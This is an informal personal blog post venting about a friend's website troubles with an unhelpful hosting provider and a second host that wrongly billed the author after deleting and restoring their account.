moe is having problems with the SVBT web site, which is being made infinitely worse by the fact that their host provider has its head so far up its ass that they’d need a team of spelunkers and several days to find it. i’ve been trying to help out, and i actually succeded in backing up the old web site and uploading the stuff that they had to replace it, but now, apparently the database is broken, the PHP experts on staff live in australia, and the web designer is being a 14-carat gold plated prick about the whole thing – but his prick-itude about it may be partially due to the fact that the host provider is being a complete, 24-carat solid gold pile of crap. it would have taken me 10 minutes on my host to do what it took me almost 3 hours to do, manually, one file at a time, on their host. i don’t want to seem like i’m bailing on moe, because if nobody else, i should support her, but at the same time, it’s not my job to fix SVBT’s wonky host provider, and while it is moe’s job, i personally believe that it would be infinitely easier to bail on the host provider and go with some place that actually, you know, provides a usable service….

along a similar line, i got an invoice from drizzle today, and, as i suspected, they’ve charged me again for the screwup that resulted in my account getting deleted and then restated, despite the fact that it never should have been deleted in the first place, which is THEIR FAULT!! and, of course, it’s sunday and they’re not there – i find it somewhat ironic that their automated billing service works on sunday, but nobody else does. it’s not actually going to be “funny” until they have acknowledged that they should not have billed me for something that wasn’t my fault to begin with, which, i suspect, is going to take a while.